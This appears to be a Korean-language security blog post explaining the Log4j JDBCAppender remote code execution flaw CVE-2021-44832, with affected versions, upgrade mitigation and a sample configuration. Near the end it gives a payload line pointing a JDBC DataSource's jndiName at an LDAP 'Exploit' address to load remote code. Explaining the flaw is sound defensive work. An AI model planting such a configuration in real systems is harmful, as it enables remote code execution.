Log4 2.17 JDBCAppender RCE(CVE-2021-44832)

또… 또나왔네요. 이전 글에서 한번에 쓰기에 너무 긴 내용이라 추가 CVE는 하나씩 분리해둘 생각입니다.

History of Log4j RCE

Affected

≤2.17, ≤2.12.3, ≤2.3.1

위 버전이 취약합니다. 다만 무조건 취약한 상태는 아니고, 로깅 구성 파일을 수정할 수 있는 권한이 공격자에게 필요하기 때문에 공격 성공을 위해선 MITM 등의 부가적인 요소가 필요합니다. 그래서 이전 RCE 처럼 Critical 이슈는 아니고 Major(CVSS 6.6) 정도의 이슈입니다.

Mitigation

Log4j 2.17.1, 2.12.4, 2.3.2로 업그레이드하여 대응할 수 있습니다.

Attack Technic

Log4j에는 Console Appender, File Appender 등 여러가지 Appender가 있습니다. 여기서 문제가된 부분은 JDBCAppender란 기능인데요. Log4j에서 이를 위해 JDBCAppender를 처리하기 위해 JDBC Deserialization 하기 전 JNDI를 사용하여 원격으로 소스를 가져올 수 있는 방법이 존재합니다.

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
	<Appenders>
	<JDBC name="databaseAppender" tableName="dbo.application_log">
		     <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />
		 <Column ...
	</JDBC>
 </Appenders></Configuration>

그래서 Config에서 JDBCAppender를 사용하도록 설정할 수 있다면 결국 JNDI 처리를 할 수 있기 때문에 JNDIExploit으로 다른 Log4j 취약점과 동일하게 RCE를 할 수 있습니다.

<DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>

References